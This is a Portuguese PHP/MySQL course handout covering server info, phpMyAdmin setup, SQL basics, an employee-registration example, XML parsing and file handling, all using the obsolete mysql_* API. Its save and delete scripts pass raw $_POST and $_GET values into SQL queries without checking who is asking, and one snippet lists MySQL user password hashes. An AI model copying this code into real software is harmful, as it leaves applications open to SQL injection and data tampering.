$ip = getenv("REMOTE_ADDR");

getenv -- Obtm uma varivel de ambiente


Para pegar o IP de um site:
$ip = gethostbyname('www.example.com');

Para pegar meta_tags de um site


get_meta_tags -- Extrai as informaes das tag meta de um arquivo e retorna como uma
matriz
O que get_meta_tags() interpreta
<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head>

// Assumindo que as tags acima esto em www.example.com


$tags = get_meta_tags('http://www.example.com/');

print $tags['author']; // name


print $tags['keywords'];
// php documentation
print $tags['description']; // a php manual
print $tags['geo_position']; // 49.33;-86.59

Pegar o nome do navegador e a verso


$_SERVER["HTTP_USER_AGENT"];
no navegador Internet Explorer ficara assim:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

no navegador mozilla Firefox:

Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox /0.10

Em no Internet explorer ele mostra MSIE 6.0 e no Mozilla Firefox /0.10


nome e verso
Pegando O endereo da pgina da onde veio o visitante
echo $_SERVER["HTTP_REFERER"];
O endereo da pgina (se houver) atravs da qual o agente do usurio acessou a pgina atual.
Essa diretiva informada pelo agente do usurio. Nem todos os browsers geram esse header,
e alguns ainda possuem a habilidade de modificar o contedo do HTTP_REFERER como
recurso. Em poucas palavras, no confivel.
Para pegar a resoluo do monitor
usaremos javascript porque o php nao roda do lado do cliente e sim no servidor

<script language="javascript">
document.write("Resolucao
: ",screen.width,"x",screen.height,"<p>");
</script>

Para pegar o total de espao em disco no servidor


$kb = 1024;
// Kilobyte
$mb = 1024 * $kb; // Megabyte
$gb = 1024 * $mb; // Gigabyte
$tb = 1024 * $gb; // Terabyte
$espaco_total = disk_total_space("/");
$total_disco = round($espaco_total / 1024000, 2);
$disco = diskfreespace("/");
$espaco_livre = round($disco / 1024000, 2);

Para pegar verses do PHP e Mysql e Apache


mysql_get_server_info();
phpversion();
$_SERVER["SERVER_SOFTWARE"];

Voc pode formatar o resultado que melhor visualizao exemplo:

$versao_mysql = preg_replace("/[^0-9.]/", "", mysql_get_server_info());


$versao_php = phpversion();
$programa_servidor = $_SERVER["SERVER_SOFTWARE"];
$programa_servidor = strtok($programa_servidor, " ");
echo "Mysql $versao_mysql<br />";
echo "PHP $versao_php<br />";
echo str_replace("/", " ", $programa_servidor);

strtok() divide uma string (arg1) em strings menores (tokens), com cada token sendo
delimitado por
qualquer caractere de arg2. Quer dizer que, se voc tem uma string como "Esta uma string
de exemplo" voc
poderia "tokeniz-la" em suas palavras individuais usando o caractere de espao como

delimitador do token.
Para ver se o php esta sendo executado como modulo ou cgi:
$sapi_type = php_sapi_name();
if ($sapi_type == "cgi"){
print "Voc esta usando CGI PHP\n";
}else{
print "Voc no esta usando CGI PHP\n";
}

Exibindo o status do mysql:

$status = explode(' ', mysql_stat($cn));


print_r($status);

Dicas diversas sobre funes php para usar com Mysql


Para pegar o nome e a senha de acesso ao Mysql
Calma pessoal isso no tem nada haver com dicas hackers apenas para mostrar para quem
no conhece que
o mysql tem um banco dentro da pasta data chamado mysql onde ele guarda as informaes
de usuarios, senhas, privilgios, helps, informaes do
servidor, etc...

mysql_connect("localhost", "usuario", "senha");


mysql_select_db("mysql");
$re = mysql_query("SELECT user,password,host FROM user");
//listando todos os usuarios e senhas de acesso ao mysql cadastrados
while($l = mysql_fetch_array($re))
{
echo $l["user"]."<br />";
echo $l["password"]."<br />";
}

Listando todos os banco de dados do servidor mysql:


mysql_connect("localhost", "usuario", "senha");
$db_list = mysql_list_dbs();
$cnt = mysql_num_rows($db_list);
for($i = 0; $i < $cnt; $i++)
{
echo mysql_db_name($db_list, $i) . "<br />\n";
}

outra maneira de listar os bancos:

mysql_connect("localhost", "usuario", "senha");


$db_list = mysql_list_dbs();
while ($row = mysql_fetch_object($db_list)) {
echo $row->Database . "<br />\n";
}

Listando todas tabelas de um banco:


mysql_connect("localhost", "usuario", "senha");
$result = mysql_list_tables("banco");
for ($i = 0; $i < mysql_num_rows($result); $i++)
{
echo "Tabelas: ". mysql_table_name($result, $i)."<br />";
}

Listando todos os campos de uma tabela:


$cn = mysql_connect("localhost", "usuario", "senha");
$fields = mysql_list_fields("banco", "tabela", $cn);
$columns = mysql_num_fields($fields);
for ($i = 0; $i < $columns; $i++) {
echo mysql_field_name($fields, $i) . "<br />";
}

Pegando toda informao de cada campo de uma tabela


mysql_select_db("banco");
$result = mysql_query("select * from tabela");
$i = 0;
while ($i < mysql_num_fields($result)) {
echo "Informao para a coluna $i:<br />\n";
$meta = mysql_fetch_field($result,$i);
if (!$meta) {
echo "Informao no disponivel<br />\n";
}
echo "<pre>
blob:
$meta->blob
max_length: $meta->max_length
multiple_key: $meta->multiple_key
name:
$meta->name
not_null:
$meta->not_null
numeric:
$meta->numeric
primary_key: $meta->primary_key
table:
$meta->table
type:
$meta->type
unique_key: $meta->unique_key
unsigned:
$meta->unsigned
zerofill:
$meta->zerofill
</pre>";
$i++;
}

$result = mysql_query("SELECT * FROM tabela");


$fields = mysql_num_fields($result);
$rows = mysql_num_rows($result);
$table = mysql_field_table($result, 0);
echo "A tabela '".$table."' tem ".$fields." colunas e ".$rows." linhas(s)<br />";
echo "A tabela tem esses campos:<br />";
for ($i=0; $i < $fields; $i++) {
$type = mysql_field_type($result, $i);
$name = mysql_field_name($result, $i);
$len = mysql_field_len($result, $i);
$flags = mysql_field_flags($result, $i);
echo $type." ".$name." ".$len." ".$flags."<br />";
}
mysql_free_result($result);
mysql_close();

Pegando o conjunto de caracteres do mysql


mysql_client_encoding -- Retorna o nome do conjunto de caracteres

$charset = mysql_client_encoding($cn);
printf ("Conjunto atual de caracteres %s\n", $charset);
uma dica importante use mysql_unbuffered_query() no lugar do mysql_query()
quando for necessrio
exemplo:
mysql_connect("localhost", "Fabyo", "gisele");
mysql_select_db("banco");
$re = mysql_unbuffered_query("Select * from tabela");
while($l = mysql_fetch_array($re)){
echo $l["campo"];
}

mysql_unbuffered_query() envia uma query SQL para MySQL, sem retornar e colocar em
buffer as linhas do resultado automaticamente, como mysql_query() faz. por um lado, isto
salva uma quantidade considervel de memria em query que produzem um resultado
grandes. por outro lado, voc pode comer a trabalhar com o resultado imediatamente aps
a primeira linha ser retornada: voc no tem que esperar que toda a query SQL seja realizada.
Quando usar multiplas conexes com o banco de dados, voc deve especificar o parametro
opcional link_identifier.
Nota: Os beneficios de mysql_unbuffered_query() vem com um custo: voc no pode usar
mysql_num_rows() e mysql_data_seek() no resultado retornado por
mysql_unbuffered_query(). Voc tambm tem que pegar todas as linhas de uma query SQL
sem buffer antes de poder enviar uma nova query SQL para o MySQL.

mysql_escape_string -- Escapa uma string para uso com o mysql_query.


Esta funo ir escapar o texto assim ser seguro coloca-la na funo mysql_query() evitando
sql_injection

Dicas basicas sobre configurao do phpMyAdmin


Onde baixar phpMyAdmin
O que phpMyAdmin?
o phpMyAdmin um script feito em php para gerenciar o banco de dados mysql
com o phpMyAdmin voc consegue criar banco de dados, criar tabelas,campos
e editar salvar e excluir , fazer consultas e otimizar e reparar o banco, importar e exporar o
banco, etc...
depois que voc baixou o phpMyAdmin entre no config.inc.php
e ache essas linhas:

$cfg['Servers'][$i]['user']
= 'root'; // MySQL user
$cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed

mude para seu usario e senha do mysql


entre no php.ini e descomente essa linha:
extension=php_mbstring.dll
reinicie o apache
se voc quiser acessar o seu phpMyAdmin usando Autenticao HTTP
voc pode s entrar no config.inc.php e ache essa linha e mudar para http:

$cfg['Servers'][$i]['auth_type']
cookie based)?

= 'http';

// Authentication method (config, http or

dai quando voc for entrar no phpMyAdmin ele ira pedir nome e senha
se for usar as funes novas do mysql o (mysqli) mude essa linha:
$cfg['Servers'][$i]['extension']
'mysqli')

= 'mysqli';

// The php MySQL extension to use ('mysql' or

se desejar que aparea apenas 1 banco para ser acessado pelo phpMyAdmin
mude essa linha:

$cfg['Servers'][$i]['only_db']

= '';

// If set to a db-name, only

e coloco o nome do banco que voc quer

SQL
Structured Query Language
Linguagem Estruturada de Consulta
SQL no uma linguagem para se desenvolver sistemas e sim para facilitar o acesso de
informaes, por meios de consultas, atualizaes e manipulaes de dados armazenados em
bancos de dados do tipo relacional.
um banco de dados do tipo relacional armazena os dados e informaes em tabelas que so
formadas por linhas e colunas.
Atualmente os programas de gerenciamento de banco de dados (SGDB - Sistema de
Gerenciamento de Banco de Dados) utilizam o SQL para consultas e manuseio de dados, mas
com pequenas diferenas entre cada SGBD
em funes e melhorias mas o principal a sintaxe SQL em todos eles como padro.
O SQL foi criado pela empresa IBM (Internacional Business Machine) sua primeira verso foi
criada em 1974, com o nome de Structured English Query Language(SEQUEL).
A Linguagem SQL composta por dois grupos de instrues utilizadas no processo
de administrao e controle de bancos de dados o DDL (Data Definition Language )
Linguagem de Definio de Dados e DML (Data Manipulation Language) Linguagem de
Manipulao de Dados.
As instrues do tipo DDl permite efetuar a criao das estruturas de tabelas, ndices e bancos
de dados como um todo, permite tambm efetuar auteraes nas estruturas criadas, e
remover estruturas.
Nesse grupo esto as instrues:
CREATE TABLE, DROP TABLE, ALTER TABLE, CREATE INDEX e DROP INDEX.
As instrues do tipo DML permitem efetuar a manipulao dos dados que estejam
armazenados nas tabelas de um determinado banco, dessa forma possivel cadastrar, alterar,
e excluir registros , nesse grupo se encontra:
INSERT, SELECT, UPDATE e DELETE.
De todos os comando existentes o comando SELECT o mais importante e utilizado, pois
com ele que se obtm a extrao de lista de informaes.
Os comando do tipo DML possuem uma grande variedades de aplicao.
Para que isso ocorra, eles operam com um grande conjunto de clusulas
FROM, WHERE, GROUP BY, HAVING e ORDER BY predefinidos que permitem efetuar a
aplicao de condies que autera a forma de funcionamento

Chave Primaria
O conceito de chave primria (ID) ou (PK) chave primaria em ingls ,est associado ao campo
ou conjunto de campos de uma tabela que possuir um nico valor, que no ser repetido.
Chave Estrangeira
Chave Estrangeira (FK) caracteriza-se por ser uma chave de uma tabela que possui associao
com chave primria de outra tabela.
Integridade referencial um mecanismo utilizado que evita a quebra de ligao entre os
relacionamentos estabelecidos entre as tabelas
apesar do mysql ainda nao ter esse recurso como padro ns podemos montar
a integridade referencial atraves do php ,como voc^vai ver no script de cadastro de
funcionarios no final do curso.
Criando um banco no mysql:
CREATE DATABASE banco
Criando a tabela:

CREATE TABLE tabela(


campo tipo NULL/NOT NULL DEFAULT valor
AUTO_INCREMENT PRIMARY KEY
);

NULL e NOT NULL = definio de um campo em aceitar ou no valores nulos


DEFAULT valor = permite determinar um valor padro para o campo
AUTO_INCREMENT = determina se o campo ser preenchido automaticamente
vale apenas para campos que aceitam valores inteiros
PRIMARY KEY = determina qual ser a chave primria da tabela
tipos de campos = o SQL trabalha com diversos tipos de dados mas com 3 grupos distintos(tipo
numricos, tipo temporal e tipo literal).
tipos numericos podem ser utilizados no tratamento de valores numericos inteiros ou reais:
SMALLINT = -32.768 at 32.767 pode ser usado um campo sem sinal (unsigned)
aumentando o tamanho para 255 positivo
INTEGER = -2.17.483.648 at 2.147.483.674 tambm pode usar unsigned
FLOAT = 3,4* 10 - at 3,4 * 10
DECIMAL = Campo usado para guardar valores monetarios
NUMERIC,DOUBLE
Tipos temporal

O tipos temporal pode ser utilizado para o tratamento de valores relacionados a data e hora
DATE = Utilizado para guardar data no padro AAAA-MM-DD
TIME = Utilizado para guardar hora
DATETIME = Utilizado para guardar data e hora junto
Tipo literal
O tipo literal pode ser usado na recepo de valores baseados em cadeias de caracteres
(strings) dados alfa numericos
VARCHAR = caracter variavel
CHAR = caracter fixo
TEXT = para guardar textos grandes
no entrarei mais em detalhes sobre esse assunto porque est para extreiar o novo curso
online de MYSQL ento qualquer duvidas sobre esse assunto aguarde o curso
Montando um sistema de cadastro de funcionarios
criando uma tabela de funcionarios:
<?
mysql_query("
CREATE TABLE funcionarios (
id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT ,
nome VARCHAR( 40 ) NOT NULL ,
endereco VARCHAR( 64 ) NOT NULL ,
rg VARCHAR( 10 ) NOT NULL ,
cpf CHAR( 11 ) NOT NULL ,
data_registro DATE NOT NULL ,
fk_cargo SMALLINT UNSIGNED NOT NULL ,
salario DECIMAL( 10, 2 ) NOT NULL ,
casado SET( 'S', 'N' ) NOT NULL ,
dependentes SET( 'S', 'N' ) NOT NULL ,
data_nasc DATE NOT NULL ,
PRIMARY KEY ( id )
)");
?>

criando a tabela de cargos:


<?
mysql_query("
CREATE TABLE cargos (
id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
cargo VARCHAR(40) NOT NULL,
PRIMARY KEY (id)

)");
?>

no cadastro tem um combo preenchido com os dados de um banco de dados


(cargos)
cadastro.php:
<html>
<head>
<title>Cadastro</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form name="form1" method="post" action="salvar.php">
<table width="200" border="0" align="center">
<tr>
<td>Nome</td>
<td><input name="nome" type="text" id="nome" maxlength="40"></td>
</tr>
<tr>
<td>Endere&ccedil;o</td>
<td><input name="endereco" type="text" id="endereco" maxlength="64"></td>
</tr>
<tr>
<td>RG</td>
<td><input name="rg" type="text" id="rg" maxlength="10"></td>
</tr>
<tr>
<td>CPF</td>
<td><input name="cpf" type="text" id="cpf" maxlength="11"></td>
</tr>
<tr>
<td>Cargo</td>
<td><select name="cargos" id="cargos">
<option value="Selecione">Selecione</option>

<?
mysql_connect("localhost", "Fabyo","gisele");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM CARGOS");
while($l = mysql_fetch_array($re))
{
$id = $l["id"];

$cargo = $l["cargo"];
echo "<option value=\"$id\">$cargo</option>";
}
?>
</select></td>
</tr>
<tr>
<td>Salario</td>
<td><input name="salario" type="text" id="salario"></td>
</tr>
<tr>
<td>Casado(a)</td>
<td><input name="casado" type="checkbox" id="casado" value="S">
Sim</td>
</tr>
<tr>
<td>Dependentes</td>
<td><input name="dependentes" type="checkbox" id="dependentes" value="S">
Sim</td>
</tr>
<tr>
<td>Data Nasc. </td>
<td><input name="data_nasci" type="text" id="data_nasci" size="10"
maxlength="10"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" name="Submit" value="Salvar"></td>
</tr>
</table>
</form>
</body>
</html>

O salvar.php onde ser recebido os dados digitados pelo usuario


ento recomendo voc proteger os dados e filtrar para passar somente o esperado
exemplo:
usando stript_tags() voc tira as tags html ,dai o usuario mal intencionado no poder
prejudicar seu banco de dados com comandos html e javascript
is_numeric() = use para validar campos numericos
empty() use para validar campos vazios
checkdate() use para validar datas
mysql_escape_string Escapa uma string para uso com o mysql_query.

e proteja os dados tambem com javascript muito util para validar campos antes de enviar
procure por funes que validam cpf, cnpj, emails etc... ou faa voc mesmo
evite gravar dados repetidos antes de gravar faa uma busca se nao existir o dados dai sim
voc deixa gravar , e sobre integridade relacional quando voc por exemplo grava um
funcionario com cargo "ajudante" ,dai depois voc quer excluir o cargo "ajudante" da tabela
cargos, por logica no poderia ja que esse campo foi gravado como indicao para o
funcionario dai nao teria logica ele ser "ajudante" se o campo no existe mais ,e como o mysql
no tem esse recurso automatico voc pode montar um simples basta antes de executar a
excluso voc fazer uma pesquisa se esse campos esta gravado em algum lugar da tabela
funcionarios dai se no tiver voc deixa excluir se tiver voc da uma mensagem dizendo que
esse campos no pode ser excluido pois existe um relacionamento com ele.
dica final = nunca esquea de validar os campos nem sempre a pessoa vai digitar o que voc
espera que ela digite.
salvar.php:

<?
// seto as variaveis = N pq se o checbox nao for marcado ele nao existira
//entao sera gravado a opcao N = NAO, se o checbox for marcado ser salvo S
$casado = "N";
$dependentes = "N";
//aqui pego todos os dados e aina crio a variavel com o mesmo nome e tiro as tags html
foreach ($_POST as $campo => $valor) { $$campo = strip_tags($valor);}
mysql_connect("localhost");
mysql_select_db("banco");
mysql_query("INSERT INTO funcionarios VALUES ('', '$nome', '$endereco', '$rg', '$cpf', NOW(),
'$cargos', '$salario', '$casado', '$dependentes', '$data_nasci')");
mysql_close();
echo "salvo com sucesso";
?>

opcoes voc pode listar os funcionarios junto com as opes de editar e excluir usando o id
opcoes.php

<?
mysql_connect("localhost");
mysql_select_db("banco");
$re = mysql_query("SELECT * FROM funcionarios");
while($l = mysql_fetch_array($re))
{
$id = $l["id"];
$nome = $l["nome"];
echo "<a href=\"excluir.php?id=$id\">Excluir</a> | <a href=\"editar.php?id=$id\">Editar</a>
$nome<br />";
}
?>

excluir.php
<?
mysql_connect("localhost");
mysql_select_db("banco");
$id = $_GET["id"];
mysql_query("DELETE FROM funcionarios WHERE id= '$id'");
header("Location: opcao.php");
?>

Agora pra quem quiser acabar esse sistema de cadastro de funcionrios fica como parte dos
exercicios, no modulo passado eu dei um sistema completo com editar excluir e salvar caso
tenham duvidas s pesquisar nele
mas quem est acompanhando consegue ver que est ficando facil e no dificil acabar esse
sistema falta s o editar, listar ,criar um formulario pra salvar os cargos, e se quiser ainda pode
usar as dicas que eu dei acima e proteger o sistema contra excluso de dados relacionados e
valida os campos
quem quiser fazer e entregar ele ser avaliado e corrigido
s avisando pra quem no sabe o melhor usuario que esti er acompanhando as aulas e
participando dos exercicios ganhar um prmio surpresa e seu nome ficara numa lista dos que
concluiram o curso com sucesso, ficando at como referencia para vocs caso precisem
mostrar para algum cliente ou at seu futuro chefe o seu conhecimento em php.

Modulo 8
Introduo
o O que XML?
o Usando PHP com XML
o O que um parser DOM?
o Funes de Memria Compartilhada
O que XML?
XML (Extension Markup Language) uma linguagem de marcao de documentos e permite
que voc crie seus prprios conjuntos de elementos de marcao.
A XML faz o que seria a verdadeira funo de uma linguagem de marcao, que descrever
um documento,e no
como ele deve ser exibido.Com marcao personalizada da XML torna-se possivel a
estruturao de dados , que
posteriormente podero ser recuperados facilmente e utilizados de varias maneiras.
XML um padro definido pela The World Wide Web consortium (W3C). Informaes sobre
XML e tecnologias relacionadas pode, ser encontradas em
http://www.w3.org/xml/
exemplo de um documento XML:

<?xml version="1.0"?>
<livraria>
<livro>
<titulo>Aprenda PHP</titulo>
<preco>R$ 40.00</preco>
<autor>Jose da Silva</autor>
</livro>
<livro>
<titulo>Aprenda ASP</titulo>
<preco>R$ 50.00</preco>
<autor>Manuel</autor>
</livro>
<livro>
<titulo>Aprenda JAVA</titulo>
<preco>R$ 80.00</preco>
<autor>Francisco</autor>
</livro>
</livraria>

Usando PHP com XML


xml_set_element_handler() = Eventos elementares so emitidos toda vez que o analisador
XML o incio ou o fim das tags. H manipuladores (handlers)
separadores para tags de incio e tags de fim.
xml_set_character_data_handler() = Dados de caractere so aproximadamente todo o
contedo de documentos XML, incluindo espaos em branco
entre as tags. Note que o analisador XML no adiciona ou remove qualquer espao em branco,
ele est pronto para a aplicao se voc decidir que
espaos em branco so significativos.
xml_set_processing_instruction_handler() = Programadores de PHP j estariam familiarizados
com instrues de processo (PIs). <?php ?> uma
instruo de processo, onde php chamada de o "PI target". O tratamento destes so
application-specific, exceto que todos os PI targets iniciados com "XML"
esto reservados.
xml_set_default_handler() = O que no vai para outro manipulador vai para o manipulador
padro. Voc conseguir coisas como o XML e declaraes do tipo
de documento no manipulador padro.
xml_set_unparsed_entity_decl_handler() = Este manipulador ser chamado por uma
declarao de um entity no analisada (NDATA).
xml_set_notation_decl_handler() = Este manipulador chamado pela declarao de uma
nota.
xml_set_external_entity_ref_handler() = Este manipulador chamado quando o analisador
XML encontra uma referncia para uma entity geral analizada
externamente. Isto pode ser uma referncia para um arquivo ou URL, por examplo. Veja Um
exemplo de entity externa para uma demonstrao.
Codificao de Caracter
A Extenso XML do PHP suporta o caracter Unicode definido por character encodings
(codificao de caracteres) diferentes. H dois tipos de codificao de caracteres,
source encoding e target encoding. A apresentao interna do PHP do documento sempre
codificada com UTF-8.
Source encoding feita quando um documento XML analisado. Em criando um analisador
XML, um source encoding pode ser especificado (Esta codificao no poder ser
mudada aps o tempo de vida do analisador XML). As codificaes suportadas so ISO-8859-1,
US-ASCII e UTF-8. O segundo so codificaes single-byte, que significa que
cada caractere representado por um byte simples. UTF-8 pode codificar caracteres
compostos por um nmero de bits varivel (acima de 21) em um de seus 4 bytes. O source

encoding padro utilizado pelo PHP ISO-8859-1.


Target encoding feito quando o PHP passa dados para as funes do analisador XML. Quando
um analisador XML criado, o target encoding definido igual ao source encoding,
mas este pode ser mudado em qualquer ponto. O target encoding afetar dados de caracter
to bem como nome de tags e processando alvos da instruo.
Se o analisador XML encontra caracteres de fora da linha que seu source encoding capaz de
detalhar, ele retornar um erro.
Se PHP encontra caracteres no documento XML analisado que no podem ser detalhados
selecionados com target encoding, os caracteres com problema sero "demoted". Atualmente,
isto
significa que tais caracteres sero substituidos por um sinal de interrogao.

Listando o conteudo de um documento XML:


exemplo:

<html>
<head>
<title>Livros</title>
</head>
<body>
<h3>Livros</h3>
<?
function tag_inicial($parser, $elemento)
{
if($elemento != "LIVRARIA")
{
if($elemento == "LIVRO")
{
echo "<ul>";
}
else
{
echo "<li>$elemento : ";
}
}
}
function tag_final($parser, $elemento)
{
if($elemento != "LIVRARIA")
{

if($elemento == "LIVRO")
{
echo "</ul>";
}
else
{
echo "</li>";
}
}
}
function trata_caracter($parser, $dados)
{
echo $dados;
}
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "tag_inicial", "tag_final");
xml_set_character_data_handler($xml_parser, "trata_caracter");
if(file_exists("livros.xml"))
{
$fp = fopen("livros.xml", "r");
while($dados = fread($fp, 4096))
{
xml_parse($xml_parser, $dados, feof($fp));
}
xml_parser_free($xml_parser);
}
?>
</body>
</html>

exemplo2
manual do php:
<?php
$file = "livros.xml";
function startElement($parser, $name, $attribs) {
echo "&lt;<font color=\"#0000cc\">$name</font>";
if (sizeof($attribs)) {
while (list($k, $v) = each($attribs)) {

echo " <font color=\"#009900\">$k</font>=\"<font


color=\"#990000\">$v</font>\"";
}
}
echo "&gt;";
}
function endElement($parser, $name) {
echo "&lt;/<font color=\"#0000cc\">$name</font>&gt;";
}
function characterData($parser, $data) {
echo "<b>$data</b>";
}
function PIHandler($parser, $target, $data) {
switch (strtolower($target)) {
case "php":
global $parser_file;
if (trustedFile($parser_file[$parser])) {
eval($data);
} else {
printf("Untrusted PHP code: <i>%s</i>",
htmlspecialchars($data));
}
break;
}
}
function defaultHandler($parser, $data) {
if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") {
printf('<font color="#aa00aa">%s</font>',
htmlspecialchars($data));
} else {
printf('<font size="-1">%s</font>',
htmlspecialchars($data));
}
}
function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,
$publicId) {
if ($systemId) {
if (!list($parser, $fp) = new_xml_parser($systemId)) {
printf("Could not open entity %s at %s\n", $openEntityNames,
$systemId);

return false;
}
while ($data = fread($fp, 4096)) {
if (!xml_parse($parser, $data, feof($fp))) {
printf("XML error: %s at line %d while parsing entity %s\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser), $openEntityNames);
xml_parser_free($parser);
return false;
}
}
xml_parser_free($parser);
return true;
}
return false;
}
function new_xml_parser($file) {
global $parser_file;
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
xml_set_processing_instruction_handler($xml_parser, "PIHandler");
xml_set_default_handler($xml_parser, "defaultHandler");
xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");
if (!($fp = @fopen($file, "r"))) {
return false;
}
if (!is_array($parser_file)) {
settype($parser_file, "array");
}
$parser_file[$xml_parser] = $file;
return array($xml_parser, $fp);
}
if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
die("could not open XML input");
}
echo "<pre>";
while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {

die(sprintf("XML error: %s at line %d\n",


xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}
}
echo "</pre>";
xml_parser_free($xml_parser);
?>

xml_error_string -- Obtm uma string de erro do analisador XML


xml_get_current_byte_index -- Obtm o ndice do byte atual para um analisador XML
xml_get_current_column_number -- Obtm o nmero da coluna atual para um analisador
XML
xml_get_current_line_number -- Obtm o nmero da linha para um analisador XML
xml_get_error_code -- Obtm um cdigo de erro do analisador XML
xml_parse_into_struct -- Analisa dados XML dentro de uma estrutura de array
xml_parse -- Inicia a anlise em um documento XML
xml_parser_create_ns -- Cria um analisador XML com suporte a namespace (uma estrutura do
XML)
xml_parser_create -- cria um analisador XML
xml_parser_free -- Free an XML parser
xml_parser_get_option -- Get options from an XML parser
xml_parser_set_option -- Set options in an XML parser
xml_set_character_data_handler -- Set up character data handler
xml_set_default_handler -- Set up default handler
xml_set_element_handler -- Set up start and end element handlers
xml_set_end_namespace_decl_handler -- Set up end namespace declaration handler
xml_set_external_entity_ref_handler -- Set up external entity reference handler
xml_set_notation_decl_handler -- Set up notation declaration handler
xml_set_object -- Use XML Parser within an object
xml_set_processing_instruction_handler -- Set up processing instruction (PI) handler
xml_set_start_namespace_decl_handler -- Set up start namespace declaration handler
xml_set_unparsed_entity_decl_handler -- Set up unparsed entity declaration handler
O que um parser DOM?
Existe 2 formas de criar um parser para analisar documentos XML, a primeira voc ja viu acima
e se chama SAX, a outra auternativa utilizando o modelo DOM(Document Object Model)
nesse modelo criado
uma estrutura de representao em rvore, permitindo que programas e scripts auterem
dinamicamente seu conteudo
mais informaes em www.w3c.org/dom

Usando o SAX ou DOM voc obter o mesmo resultado, a diferena est apenas na questo de
desempenhoe acessibilidade.
Em relao a velocidade o SAX apresenta um melhor desempenho, visto que o parser DOM
precisa criar uma rvore completoa com todos
os dados do documento XML
Mas por outro lado o parser DOM tem a vantagem de ser mais flexivel no que diz respeito
acessibilidade de dados
parser DOM um modulo experimental, mais detalhes www.php.net/ref.domxml.html
Funes de Memria Compartilhada
Shmop um fcil caminho para usar funes que permitem o PHP ler, escrever, criar e deletar
segmentos de memria compartilhada UNIX.
Note que verses do Windows anteriores ao Windows 2000 no suportam memria
compartilhada.
obs: precisa descomentar a linha extension=php_shmop.dll no php.ini
exemplo:
<?php
// Cria 100 byte num pedao da memoria
$memoria_id = shmop_open(0xff3, "c", 0644, 100);
if(!$memoria_id) {
echo "No foi possivel criar a repartio da memoria\n";
}
// Pega pedao da memoria criada
$memoria_size = shmop_size($memoria_id);
echo "Foi criado: $memoria_size bytes na memoria com sucesso<br>";
// Escrever frase na memoria
$grava_memoria = shmop_write($memoria_id, "meu teste de memoria", 0);
//Testa se nao tiver escrito o texto na memoria
if($grava_memoria != strlen("meu teste de memoria")) {
echo "Nao foi possivel gravar na memoria\n";
}
// Ler frase na memoria
$meu_texto = shmop_read($memoria_id, 0, $memoria_size);
if(!$meu_texto) {
echo "Nao foi possivel ler da memoria\n";
}
echo "Minha frase gravada na memoria : $meu_texto";

//Agora apago da memoria


if(!shmop_delete($memoria_id)) {
echo "Apagado com sucesso.";
}
shmop_close($memoria_id);
?>

Modulo 9
Introduo
o Manipulao de arquivos texto
o Funes do PHP para manipulao de arquivos
o Criando um mural de recados em arquivos texto
o Expresses Regulares (E.R.)
Manipulao de arquivos texto
Muitas vezes precisamos guardar dados simples, e por isso no teria a necessidade de um
SGBD Basta um arquivo de texto, sendo esse modo mais simples e rpido que um SGBD.
S lembrando que se tratando de um arquivo de texto ele torna seu sistema mais frgil e sem
segurana Como por exemplo, qualquer pessoa pode abrir o arquivo de texto e examinar tudo
que tem dentro dele, ou at mesmo apagar ele.
Sem contar tambm que o arquivo de texto tem que ser usado para escrita num modo
exclusivo se no fizer isso pode perder dados j que duas pessoas ou mais estiverem usando
um sistema em base de texto e na hora de gravar elas no podem gravar ao mesmo tempo,
por isso voc ter que criar uma proteo para o arquivo na hora de gravar e liberar quando
no estiver gravando, um exemplo desse tipo de falha o banco acess antigo.
Essa funo de proteo do arquivo para escrita e outras vocs vo ver logo mais nesse curso.
E sobre o que eu falei de segurana e fragilidade dos arquivos texto no querendo te
desencorajar a usar arquivos textos, pelo contrrio.
s um aviso importante que voc precisava saber antes de comear a manipular arquivos
textos, muitos sistemas usam base de texto para guardar dado ou at configuraes do
sistema, enquetes simples, contadores de acesso ou visitas ou clicks, equipamentos como
micro terminais, catracas eletrnicas, sistemas de telefonia, etc..., como voc pode ver muitos
sistemas ou equipamentos usam base em arquivos de texto.
Eu posso citar um exemplo as catracas eletrnicas, no conheo todas as marcas mas a marca
Wilbor usa base de textos e ela grava o nmero do carto do funcionrio, data e hora de
entrada ou sada, para que o sistema do RH possa colher esses dados e controlar as faltas do
funcionrio e fazer o pagamento com horas extras etc..., outro sistema muito usado e
conhecido em grandes empresas um sistema de PABX que controla as ligaes da empresa
inteira como quem ligou e pra onde, data, horrio, fazendo um relatrio completo das ligaes
de entrada e sada da empresa, e esse sistema tambm usam base de textos no digo todos,
mas a maioria como por exemplo, da marca Intelbras.
Por isso bom voc saber manipular arquivos de texto caso algum dia precise.
Eu por exemplo fiz um sistema completo para colher os dados de uma catraca eletrnica da
empresa em que eu trabalho , j que o prprio sistema que vem com ela muito simples e
limitado, da pra falar de muito mais utilidades de usar arquivos de texto, mas vou parar por
aqui.
Obs.: No estou falando em nenhum momento que uma base em arquivo de texto melhor
que um SGBD s estou falando as utilidades e vantagens de usar base de texto Sem comparar
com SGBD.

Abertura de um arquivo de texto


fopen
fopen Abri um arquivo ou uma URL www.php.net/fopen
Descrio
resource fopen ( string filename, string mode [, int use_include_path [, resource zcontext]])
mode Descrio
'r' Abre somente leitura; coloca o ponteiro do arquico no comeo do arquivo.
